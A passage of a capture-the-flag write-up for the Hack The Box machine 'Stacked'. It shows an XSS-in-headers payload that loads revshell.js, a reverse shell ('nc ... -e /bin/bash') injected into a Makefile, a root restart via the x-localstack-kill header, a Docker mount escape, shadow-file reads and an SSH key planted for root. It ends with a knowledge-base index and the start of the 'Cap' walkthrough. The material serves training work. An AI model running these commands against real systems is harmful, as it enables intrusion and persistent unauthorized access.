    -H $'Host: portfolio.stacked.htb' -H $'User-Agent: <script src=\"http://10.10.14.4/\"></script>' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Length: 76' -H $'Origin: <script src=\"http://10.10.14.4/\"></script>' -H $'Referer: <script src=\"http://10.10.14.4/revshell.js\"></script>' \
    --data-binary $'fullname=test&email=test%40qq.com&tel=138232254773&subject=test&message=test' \
    $'http://portfolio.stacked.htb/process.php'
HTTP/1.1 200 OK
Date: Mon, 14 Feb 2022 06:51:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 54
Content-Type: text/json; charset=utf8

{"success":"Your form has been submitted. Thank you!"}
```

``` bash
10.10.11.112 - - [14/Feb/2022 01:52:06] "GET /revshell.js HTTP/1.1" 200 -
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# nc -lvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.112.
Ncat: Connection from 10.10.11.112:37547.
python -c 'import pty; pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
bash-5.0$ ^Z
[1]+  Stopped                 nc -lvp 4444

┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# stty raw -echo

┌──(root💀kali)-[~/hackthebox/machine/stacked]
nc -lvp 4444
            reset
bash-5.0$ id
uid=1001(localstack) gid=1001(localstack) groups=1001(localstack)
bash-5.0$ whoami
localstack
```

I can tell that I'm in docker container.

Looking at the running process I see a make infra running as root.

``` bash
bash-5.0$ ls -al /.dockerenv
-rwxr-xr-x    1 root     root             0 Feb 14 01:27 /.dockerenv

bash-5.0$ ps -aef
PID   USER     TIME  COMMAND
    1 root      0:00 {docker-entrypoi} /bin/bash /usr/local/bin/docker-entrypoi
   14 root      0:03 {supervisord} /usr/bin/python3.8 /usr/bin/supervisord -c /
   16 root      0:01 tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.e
   20 localsta  0:00 bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make w
   21 root      0:00 make infra
   22 localsta  0:00 make web
   23 root      0:31 python bin/localstack start --host
   24 localsta  0:14 python bin/localstack web
   94 root      0:31 java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar
  110 root      0:00 node /opt/code/localstack/localstack/node_modules/kinesali
  350 localsta  0:00 /bin/sh -c { test `which aws` || . .venv/bin/activate; }; 
  356 localsta  0:00 sh
  357 localsta  0:00 /bin/bash
  360 localsta  0:00 python -c import pty; pty.spawn("/bin/bash")
  361 localsta  0:00 /bin/bash
  365 localsta  0:00 ps -aef
```

And Makefile is owned by localstack user, which makes me have access to that file.

``` bash
bash-5.0$ ls -la
total 180
drwxrwxrwx    1 localsta localsta      4096 Jul 19  2021 .
drwxr-xr-x    1 root     root          4096 Dec 23  2020 ..
-rw-r--r--    1 root     root         62068 Feb  1  2021 .coverage
drwxr-xr-x    6 localsta localsta      4096 Feb  1  2021 .venv
-rw-rw-r--    1 localsta localsta      8455 Feb  1  2021 Makefile
drwxr-xr-x    2 localsta localsta      4096 Feb  1  2021 bin
drwxr-xr-x    1 localsta localsta      4096 Feb  1  2021 localstack
-rw-r--r--    1 root     root         61864 Feb  1  2021 nosetests.xml
-rw-rw-r--    1 localsta localsta      1529 Feb  1  2021 requirements.txt
-rw-r--r--    1 root     root             3 Feb 14 01:27 supervisord.pid
bash-5.0$ whoami
localstack
```

My thought is, I owned Makefile and I see a make infra process is running as root, What if I inject my malicious code (reverse shell) and somehow I can crash or kill the container and make it run the make infra command again as root.

So I get back to localstack github repository to read all the source code or find which code to kill or restart the process without the need of permission.
 - [localstack](https://github.com/localstack/localstack)

After a long read and searching for restart, reboot, shutdown, reset. I eventually found this code.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2147.jpg)

The comment said

``` bash
Header to indicate that the process should kill itself. This is required because
if this process is started as root, then we cannot kill it from a non-root
process.
```

So I can kill the localstack process by using the x-localstack-kill as request header.

Let's put our reverse shell code to Makefile, I need to put the code inside the infra target, put the reverse shell in Makefile line 54.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# cat Makefile  
IMAGE_NAME ?= localstack/localstack
IMAGE_NAME_BASE ?= localstack/java-maven-node-python
IMAGE_NAME_LIGHT ?= localstack/localstack-light
IMAGE_NAME_FULL ?= localstack/localstack-full
IMAGE_TAG ?= $(shell cat localstack/constants.py | grep '^VERSION =' | sed "s/VERSION = ['\"]\(.*\)['\"].*/\1/")
DOCKER_SQUASH ?= --squash
VENV_DIR ?= .venv
PIP_CMD ?= pip
TEST_PATH ?= .

ifeq ($(OS), Windows_NT)
        VENV_RUN = . $(VENV_DIR)/Scripts/activate
else
        VENV_RUN = . $(VENV_DIR)/bin/activate
endif

usage:             ## Show this help
        @fgrep -h "##" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\$$//' | sed -e 's/##//'

setup-venv:
        (test `which virtualenv` || $(PIP_CMD) install --user virtualenv) && \
                (test -e $(VENV_DIR) || virtualenv $(VENV_OPTS) $(VENV_DIR))

install-venv:
        make setup-venv && \
                test ! -e requirements.txt || ($(VENV_RUN); $(PIP_CMD) -q install -r requirements.txt)

init:              ## Initialize the infrastructure, make sure all libs are downloaded
        $(VENV_RUN); PYTHONPATH=. exec python localstack/services/install.py libs

init-testlibs:
        $(VENV_RUN); PYTHONPATH=. exec python localstack/services/install.py testlibs

install:           ## Install full dependencies in virtualenv
        (make install-venv && make init-testlibs) || exit 1

install-basic:     ## Install basic dependencies for CLI usage in virtualenv
        make setup-venv && \
                ($(VENV_RUN); cat requirements.txt | grep -ve '^#' | grep '#\(basic\|extended\)' | sed 's/ #.*//' \
                        | xargs $(PIP_CMD) install)

# deprecated - TODO remove
install-web:
        (cd localstack/dashboard/web && (test ! -e package.json || npm install --silent > /dev/null))

publish:           ## Publish the library to the central PyPi repository
        # build and upload archive
        ($(VENV_RUN) && ./setup.py sdist upload)

coveralls:         ## Publish coveralls metrics
        ($(VENV_RUN); coveralls)

infra:             ## Manually start the local infrastructure for testing
        nc 10.10.14.4 3344 -e /bin/bash;
        ($(VENV_RUN); exec bin/localstack start --host)

docker-build:      ## Build Docker image
        docker build -t $(IMAGE_NAME) .

docker-squash:
        # squash entire image
        which docker-squash || $(PIP_CMD) install docker-squash; \
                docker-squash -t $(IMAGE_NAME):$(IMAGE_TAG) $(IMAGE_NAME):$(IMAGE_TAG)

docker-build-base:
        docker build $(DOCKER_SQUASH) -t $(IMAGE_NAME_BASE) -f bin/Dockerfile.base .
        docker tag $(IMAGE_NAME_BASE) $(IMAGE_NAME_BASE):$(IMAGE_TAG)
        docker tag $(IMAGE_NAME_BASE):$(IMAGE_TAG) $(IMAGE_NAME_BASE):latest

docker-build-base-ci:
        DOCKER_SQUASH= make docker-build-base
        IMAGE_NAME=$(IMAGE_NAME_BASE) IMAGE_TAG=latest make docker-squash
        docker info | grep Username || docker login -u "$$DOCKER_USERNAME" -p "$$DOCKER_PASSWORD"
        docker push $(IMAGE_NAME_BASE):latest

docker-push:       ## Push Docker image to registry
        make docker-squash
        docker push $(IMAGE_NAME):$(IMAGE_TAG)

docker-push-master:## Push Docker image to registry IF we are currently on the master branch
        (CURRENT_BRANCH=`(git rev-parse --abbrev-ref HEAD | grep '^master$$' || ((git branch -a | grep 'HEAD detached at [0-9a-zA-Z]*)') && git branch -a)) | grep '^[* ]*master$$' | sed 's/[* ]//g' || true`; \
                test "$$CURRENT_BRANCH" != 'master' && echo "Not on master branch.") || \
        ((test "$$DOCKER_USERNAME" = '' || test "$$DOCKER_PASSWORD" = '' ) && \
                echo "Skipping docker push as no credentials are provided.") || \
        (REMOTE_ORIGIN="`git remote -v | grep '/localstack' | grep origin | grep push | awk '{print $$2}'`"; \
                test "$$REMOTE_ORIGIN" != 'https://github.com/localstack/localstack.git' && \
                echo "This is a fork and not the main repo.") || \
        ( \
                which $(PIP_CMD) || (wget https://bootstrap.pypa.io/get-pip.py && python get-pip.py); \
                docker info | grep Username || docker login -u $$DOCKER_USERNAME -p $$DOCKER_PASSWORD; \
                IMAGE_TAG=latest make docker-squash && make docker-build-light && \
                        docker tag $(IMAGE_NAME):latest $(IMAGE_NAME_FULL):latest && \
                        docker tag $(IMAGE_NAME_LIGHT):latest $(IMAGE_NAME):latest && \
                ((! (git diff HEAD~1 localstack/constants.py | grep '^+VERSION =') && \
                        echo "Only pushing tag 'latest' as version has not changed.") || \
                        (docker tag $(IMAGE_NAME):latest $(IMAGE_NAME):$(IMAGE_TAG) && \
                                docker tag $(IMAGE_NAME_FULL):latest $(IMAGE_NAME_FULL):$(IMAGE_TAG) && \
                                docker push $(IMAGE_NAME):$(IMAGE_TAG) && docker push $(IMAGE_NAME_LIGHT):$(IMAGE_TAG) && \
                                docker push $(IMAGE_NAME_FULL):$(IMAGE_TAG))) && \
                docker push $(IMAGE_NAME):latest && docker push $(IMAGE_NAME_FULL):latest && docker push $(IMAGE_NAME_LIGHT):latest \
        )

docker-run:        ## Run Docker image locally
        ($(VENV_RUN); bin/localstack start)

docker-mount-run:
        MOTO_DIR=$$(echo $$(pwd)/.venv/lib/python*/site-packages/moto | awk '{print $$NF}'); echo MOTO_DIR $$MOTO_DIR; \
                ENTRYPOINT="-v `pwd`/localstack/constants.py:/opt/code/localstack/localstack/constants.py -v `pwd`/localstack/config.py:/opt/code/localstack/localstack/config.py -v `pwd`/localstack/plugins.py:/opt/code/localstack/localstack/plugins.py -v `pwd`/localstack/utils:/opt/code/localstack/localstack/utils -v `pwd`/localstack/services:/opt/code/localstack/localstack/services -v `pwd`/localstack/dashboard:/opt/code/localstack/localstack/dashboard -v `pwd`/tests:/opt/code/localstack/tests -v $$MOTO_DIR:/opt/code/localstack/.venv/lib/python3.8/site-packages/moto/" make docker-run

vagrant-start:
        @vagrant up || EXIT_CODE=$$? ;\
        if [ "$EXIT_CODE" != "0" ]; then\
                echo "Predicted error. Ignoring...";\
                vagrant ssh -c "sudo yum install -y epel-release && sudo yum update -y && sudo yum -y install wget perl gcc gcc-c++ dkms kernel-devel kernel-headers make bzip2";\
                vagrant reload --provision;\
        fi

vagrant-stop:
        vagrant halt

docker-build-light:
        @img_name=$(IMAGE_NAME_LIGHT); \
                docker build -t $$img_name -f bin/Dockerfile.light .; \
                IMAGE_NAME=$$img_name IMAGE_TAG=latest make docker-squash; \
                docker tag $$img_name:latest $$img_name:$(IMAGE_TAG)

docker-cp-coverage:
        @echo 'Extracting .coverage file from Docker image'; \
                id=$$(docker create localstack/localstack); \
                docker cp $$id:/opt/code/localstack/.coverage .coverage; \
                docker rm -v $$id

# deprecated - TODO remove
web:
        ($(VENV_RUN); bin/localstack web)

test:              ## Run automated tests
        make lint && \
                ($(VENV_RUN); DEBUG=$(DEBUG) PYTHONPATH=`pwd` nosetests $(NOSE_ARGS) --with-timer --with-coverage --logging-level=WARNING --nocapture --no-skip --exe --cover-erase --cover-tests --cover-inclusive --cover-package=localstack --with-xunit --exclude='$(VENV_DIR).*' --ignore-files='lambda_python3.py' $(TEST_PATH))

test-docker:
        ENTRYPOINT="--entrypoint=" CMD="make test" make docker-run

test-docker-mount: ## Run automated tests in Docker (mounting local code)
        ENTRYPOINT="-v `pwd`/tests:/opt/code/localstack/tests" make test-docker-mount-code

test-docker-mount-code:
        MOTO_DIR=$$(echo $$(pwd)/.venv/lib/python*/site-packages/moto | awk '{print $$NF}'); \
        ENTRYPOINT="--entrypoint= -v `pwd`/localstack/config.py:/opt/code/localstack/localstack/config.py -v `pwd`/localstack/constants.py:/opt/code/localstack/localstack/constants.py -v `pwd`/localstack/utils:/opt/code/localstack/localstack/utils -v `pwd`/localstack/services:/opt/code/localstack/localstack/services -v `pwd`/Makefile:/opt/code/localstack/Makefile -v $$MOTO_DIR:/opt/code/localstack/.venv/lib/python3.8/site-packages/moto/ -e TEST_PATH=$(TEST_PATH) -e NOSE_ARGS=-v -e LAMBDA_JAVA_OPTS=$(LAMBDA_JAVA_OPTS) $(ENTRYPOINT)" CMD="make test" make docker-run

reinstall-p2:      ## Re-initialize the virtualenv with Python 2.x
        rm -rf $(VENV_DIR)
        PIP_CMD=pip2 VENV_OPTS="-p '`which python2`'" make install

reinstall-p3:      ## Re-initialize the virtualenv with Python 3.x
        rm -rf $(VENV_DIR)
        PIP_CMD=pip3 VENV_OPTS="-p '`which python3`'" make install

lint:              ## Run code linter to check code style
        ($(VENV_RUN); flake8 --inline-quotes=single --show-source --max-line-length=120 --ignore=E128,W504 --exclude=node_modules,$(VENV_DIR)*,dist,fixes .)

clean:             ## Clean up (npm dependencies, downloaded infrastructure code, compiled Java classes)
        rm -rf localstack/dashboard/web/node_modules/
        rm -rf localstack/infra/amazon-kinesis-client
        rm -rf localstack/infra/elasticsearch
        rm -rf localstack/infra/elasticmq
        rm -rf localstack/infra/dynamodb
        rm -rf localstack/node_modules/
        rm -rf $(VENV_DIR)
        rm -f localstack/utils/kinesis/java/com/atlassian/*.class

.PHONY: usage compile clean install web install-web infra test
```

``` bash
bash-5.0$ wget http://10.10.14.4/Makefile -O Makefile
Connecting to 10.10.14.4 (10.10.14.4:80)
saving to 'Makefile'
Makefile             100% |********************************|  8489  0:00:00 ETA
'Makefile' saved
```

Open another terminal and start a netcat listener to your reverse shell port.
Do:

``` bash
curl http://localhost:8080/ -H "x-localstack-kill: anything"
```

or:

``` bash
curl http://localhost:4566/ -H "x-localstack-kill: anything"
```

on the container shell.

And I got a shell. and the user.txt flag.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# nc -lvp 3344                                                                                                                    
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 10.10.11.112.
Ncat: Connection from 10.10.11.112:37651.
python -c 'import pty; pty.spawn("/bin/bash")'
bash-5.0# ^Z
[1]+  Stopped                 nc -lvp 3344

┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# stty raw -echo                                                                                                                  

┌──(root💀kali)-[~/hackthebox/machine/stacked]
nc -lvp 3344                                                                                                                        
            reset
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-5.0# whoami
root
bash-5.0# find / -name "user.txt" 2>/dev/null
/home/localstack/user.txt
bash-5.0# cat /home/localstack/user.txt
c877918fc5f7cb38e0631f7849c20b1b
```

And we are root of the container.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2148.jpg)

#### root

After looking around for a way to escape the container, I see a bunch of docker certificate.

``` bash
bash-5.0# docker images
docker images
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
localstack/localstack-full   0.12.6              7085b5de9f7c        6 months ago        888MB
localstack/localstack-full   <none>              0601ea177088        12 months ago       882MB
lambci/lambda                nodejs12.x          22a4ada8399c        12 months ago       390MB
lambci/lambda                nodejs10.x          db93be728e7b        12 months ago       385MB
lambci/lambda                nodejs8.10          5754fee26e6e        12 months ago       813MB
bash-5.0# ls -la .docker/
ls -la .docker/
total 40
drwxr-xr-x    2 root     root          4096 Jul 17  2021 .
drwxr-x---    1 root     root          4096 Jul 19  2021 ..
-rw-------    1 root     root          3326 Jul 17  2021 ca-key.pem
-rw-r--r--    1 root     root          2159 Jul 17  2021 ca.pem
-rw-r--r--    1 root     root            41 Jul 17  2021 ca.srl
-rw-r--r--    1 root     root          1899 Jul 17  2021 cert.pem
-rw-r--r--    1 root     root          1582 Jul 17  2021 client.csr
-rw-r--r--    1 root     root            30 Jul 17  2021 extfile-client.cnf
-rw-r--r--    1 root     root           111 Jul 17  2021 extfile.cnf
-rw-------    1 root     root          3243 Jul 17  2021 key.pem
```

running docker images command and docker container ls -a return

``` bash
bash-5.0# docker container ls -a
docker container ls -a
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS                      PORTS                                                                                                  NAMES
86099318c53b        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   11 minutes ago      Up 11 minutes               127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main
d76e9ebac9d7        0601ea177088                        "docker-entrypoint..."   6 months ago        Exited (130) 6 months ago                                                                                                          condescending_babbage
```

Looking back at Recon section above, there is one port I haven't look at.
Visiting the port on browser.
We need to use https.

``` bash
https://stacked.htb:2376
```

So the certificate is used by docker to authenticate.

I try to run the second localstack container that has Image ID 0601ea177088 and mount
the real machine to /host directory of the container.
First I need to open another terminal and give a reverse shell to that terminal by running

``` bash
nc 10.10.14.4 1234 -e /bin/bash &
```

on the container root shell.

Now I have two root terminal.

Now let's run the second localstack container that has Image ID 0601ea177088 on first terminal.

``` bash
bash-5.0# docker run -it -v /:/host/ 0601ea177088 chroot /host bash
Waiting for all LocalStack services to be ready
2022-02-14 07:13:35,073 CRIT Supervisor is running as root.  Privileges were not dropped because no user is specified in the config file.  If you intend to run as root, you can set user=root in the config file to avoid this message.
2022-02-14 07:13:35,079 INFO supervisord started with pid 14
2022-02-14 07:13:36,082 INFO spawned: 'dashboard' with pid 20
2022-02-14 07:13:36,085 INFO spawned: 'infra' with pid 21
2022-02-14 07:13:36,092 INFO success: dashboard entered RUNNING state, process has stayed up for > than 0 seconds (startsecs)
(. .venv/bin/activate; bin/localstack web)
(. .venv/bin/activate; exec bin/localstack start --host)
2022-02-14 07:13:37,098 INFO success: infra entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
Waiting for all LocalStack services to be ready
LocalStack version: 0.12.6
Starting local dev environment. CTRL-C to quit.
LocalStack version: 0.12.6
Waiting for all LocalStack services to be ready
[2022-02-14 07:13:51 +0000] [26] [INFO] Running on https://0.0.0.0:8081 (CTRL + C to quit)
2022-02-14T07:13:51:INFO:hypercorn.error: Running on https://0.0.0.0:8081 (CTRL + C to quit)
Starting edge router (https port 4566)...
Starting mock ACM service on http port 4566 ...
Starting mock API Gateway service on http port 4566 ...
Starting mock CloudFormation service on http port 4566 ...
Starting mock CloudWatch service on http port 4566 ...
Starting mock DynamoDB service on http port 4566 ...
Starting mock DynamoDB Streams service on http port 4566 ...
Starting mock EC2 service on http port 4566 ...
Starting mock ES service on http port 4566 ...
Starting mock Firehose service on http port 4566 ...
Starting mock IAM service on http port 4566 ...
Starting mock STS service on http port 4566 ...
Starting mock Kinesis service on http port 4566 ...
Starting mock KMS service on http port 4566 ...
2022-02-14T07:13:52:INFO:localstack.multiserver: Starting multi API server process on port 37199
[2022-02-14 07:13:52 +0000] [22] [INFO] Running on https://0.0.0.0:4566 (CTRL + C to quit)
2022-02-14T07:13:52:INFO:hypercorn.error: Running on https://0.0.0.0:4566 (CTRL + C to quit)
[2022-02-14 07:13:52 +0000] [22] [INFO] Running on http://0.0.0.0:37199 (CTRL + C to quit)
2022-02-14T07:13:52:INFO:hypercorn.error: Running on http://0.0.0.0:37199 (CTRL + C to quit)
Starting mock Lambda service on http port 4566 ...
Starting mock CloudWatch Logs service on http port 4566 ...
Starting mock Redshift service on http port 4566 ...
Starting mock Route53 service on http port 4566 ...
Starting mock S3 service on http port 4566 ...
Starting mock Secrets Manager service on http port 4566 ...
Starting mock SES service on http port 4566 ...
Starting mock SNS service on http port 4566 ...
Starting mock SQS service on http port 4566 ...
Starting mock SSM service on http port 4566 ...
Starting mock Cloudwatch Events service on http port 4566 ...
Starting mock StepFunctions service on http port 4566 ...
Waiting for all LocalStack services to be ready
Waiting for all LocalStack services to be ready
Waiting for all LocalStack services to be ready
Waiting for all LocalStack services to be ready
Ready.
2022-02-14T07:14:17:INFO:localstack.utils.analytics.profiler: Execution of "start_api_services" took 24456.59899711609ms
```

On the second terminal find the newly created CONTAINER ID by running docker container ls -a grep the latest one.

``` bash
bash-5.0# docker container ls -a
CONTAINER ID        IMAGE                               COMMAND                  CREATED              STATUS                      PORTS                                                                                                  NAMES
aedd99d3bdfd        0601ea177088                        "docker-entrypoint..."   About a minute ago   Up About a minute           4566/tcp, 4571/tcp, 8080/tcp                                                                           romantic_bartik
493f53db650e        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   About an hour ago    Up About an hour            127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main
d76e9ebac9d7        0601ea177088                        "docker-entrypoint..."   6 months ago         Exited (130) 6 months ago                                                                                                          condescending_babbage
```

aedd99d3bdfd is the latest CONTAINER ID
Now run this on the second terminal.

``` bash
docker exec -it aedd99d3bdfd /bin/bash
```

The real machine is mounted in /host directory.

``` bash
bash-5.0# docker exec -it aedd99d3bdfd /bin/bash
bash-5.0# cat /host/root/root.txt 
bd97095c84e01bc86ec04f08be824f38
bash-5.0# cat /host/etc/shadow | grep root
root:$6$F1hSt8DMC1lSDosl$9kkppjsnuUeN.tVdrU0JB8diyM.nPbcDx4BGJUJ42NNTTa8bCezvAwYtxJnHcIA.m1.nW29uKwYOD7H/BJTp7.:18828:0:99999:7:::
```

I can put my public key to /host/root/.ssh/authorized_keys so I can login using ssh.

``` bash
bash-5.0# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDu7aGOBi/YxmmQyU2tlLE9SyykK3nD1e2xad0dLeu3jqOf0x5MGJrg1pjll/llxJl+Xuj01MVtMeV35ggrFatTx/+feDngc81Ml6CxhOcKhrNDdJCFlG1hjMjEw+ouvb04S/RKWQivhogu54aGH6HK6gsqYqL1ZvmANADlCqHtvNnFyshxHZbNJn6EQakPApeLF3n+JZU1P7szzHOc6a/y8W8k4FHqPqjPz6XsjQ3bNa052g3J6eMhV/467njx86tCES47hOFb0UdOLg29DG3u7WFG+zaDDDXudgGMSMUwaz8EWwjxY3rlQl649veu4SMIrc9GIaQChwjr4XeSaY5e0X1EDP2kUq9R9TkJCYM1qp9+iNw9e7q4Qfejeb+6mEuSPBf1G5P5UqWUWUf3KJjPeiXcgfYJoiLzZlC1Ui5r6si5D/LTOLp97xLronrnBIGs8Elr26Qv39S4Kb6llI4LsvApZNKlKb/4N6dcb/nyVawfpsMksEqBy9aM1M8/gh8= root@kali" > /host/root/.ssh/authorized_keys
```

Now I can ssh login as root using pwned private key.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# chmod 600 id_rsa

┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# ssh -i id_rsa root@10.10.11.112
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 14 Feb 07:19:30 UTC 2022

  System load:              0.0
  Usage of /:               88.4% of 7.32GB
  Memory usage:             42%
  Swap usage:               0%
  Processes:                268
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for ens160:  10.10.11.112
  IPv6 address for ens160:  dead:beef::250:56ff:feb9:72bb

  => / is using 88.4% of 7.32GB


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Sep 14 16:00:29 2021
root@stacked:~# id
uid=0(root) gid=0(root) groups=0(root)
root@stacked:~# whoami
root
root@stacked:~# cat root.txt 
bd97095c84e01bc86ec04f08be824f38
root@stacked:~# cat /etc/shadow | grep root
root:$6$F1hSt8DMC1lSDosl$9kkppjsnuUeN.tVdrU0JB8diyM.nPbcDx4BGJUJ42NNTTa8bCezvAwYtxJnHcIA.m1.nW29uKwYOD7H/BJTp7.:18828:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2149.jpg)


#### Summary of knowledge

 - gobuster and ffuf dir and vhost fuzz
 - use LocalStack RCE and header Referer xss to get a reverse shell
 - privesc through x-localstack-kill request header
 - get root by using docker chroot mount

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end stacked -->

</details>




# Linux 权限、Capabilities 与周期任务

从服务用户到 root，需要追踪 sudo、SUID、capabilities、目录 ACL 和任务的实际运行身份。本章按原实验保留环境变量、文件所有者、任务触发和输出，便于检查条件是否成立。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/linux/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Cap 的 Python capabilities、NullByte 的 PATH 和 Pit 的目录 ACL 属于不同权限机制。

HA-Dhanush、Sunset 和 WTF 保留工具委托执行的参数与身份变化。

Djinn、Tr0ll 与 SickOs 的自定义程序、清理任务和代理条件都有失败与成功记录。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [PCAP 凭据与 Python capabilities](#case-cap) | cap | PCAP、Capabilities、访问控制 |
| [命令过滤与自定义 sudo 程序](#case-djinn-1) | djinn-1 | 命令注入、sudo、输入过滤 |
| [cp 与 zip 的委托执行权限](#case-ha-dhanush) | HA-Dhanush | sudo、GTFOBins、SSH |
| [PATH 解析与 SUID 子进程](#case-nullbyte-1) | NullByte-1 | PATH、SUID、MySQL |
| [SNMP 扩展命令与目录 ACL](#case-pit) | pit | SNMP、ACL、计划任务 |
| [代理可达性与 CMS 文件权限](#case-sickos-1-1) | SickOs-1-1 | Squid、文件上传、凭据复用 |
| [FTP 备份哈希与编辑器权限](#case-sunset-1) | sunset-1 | FTP、密码审计、GTFOBins |
| [历史流量线索与可写清理任务](#case-tr0ll-1) | Tr0ll-1 | FTP、计划任务、OverlayFS |
| [无线捕获、编辑历史与权限程序](#case-tr0ll-3) | Tr0ll-3 | 无线取证、SUID、凭据泄露 |
| [既有回连配置与 sudo pip](#case-wtf-1) | WTF-1 | 网络配置、pip、sudo |

<a id="case-cap"></a>

## PCAP 凭据与 Python capabilities

可下载的 PCAP 中包含 FTP 凭据，而本地 Python 的 capabilities 改变了 setuid 的权限条件。证据覆盖 Web 对象访问和本地进程能力。

<p class="kb-provenance">来源 cap · 原记录 2021-06-06 · 11 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-cap">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start cap -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	05 Jun 2021
IP:	10.10.10.245

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1994.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cap]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.245
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
```

There are three ports open 21:ftp 22:ssh 80:http

Let's start with ftp let's check anonymous login is allowed or not.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cap]
└─# ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
```

Login failed! now let's go on with port-80

#### Port-80

It's a simple admin-panel.

After some manual enumeration i find nothing. let's find some directories with help of gobuster.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cap]
└─# gobuster dir -u http://10.10.10.245/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.245/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/05 21:28:05 Starting gobuster in directory enumeration mode
===============================================================
/data                 (Status: 302) [Size: 208] [--> http://10.10.10.245/]
/ip                   (Status: 200) [Size: 17464]                         
/capture              (Status: 302) [Size: 220] [--> http://10.10.10.245/data/7]
                                                                                
===============================================================
2021/06/05 21:29:08 Finished
===============================================================
```

/data directory look interesting let's go and check that.

It's said not found it's mean that the directory is exist but we need to find the file.

Let's enumerate further inside /data directory with wfuzz.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cap]
└─# wfuzz -u http://10.10.10.245/data/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --hc 302,404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.245/data/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                           
=====================================================================

000000051:   200        370 L    993 W      17149 Ch    "2"                                                               
000000048:   200        370 L    993 W      17152 Ch    "01"                                                              
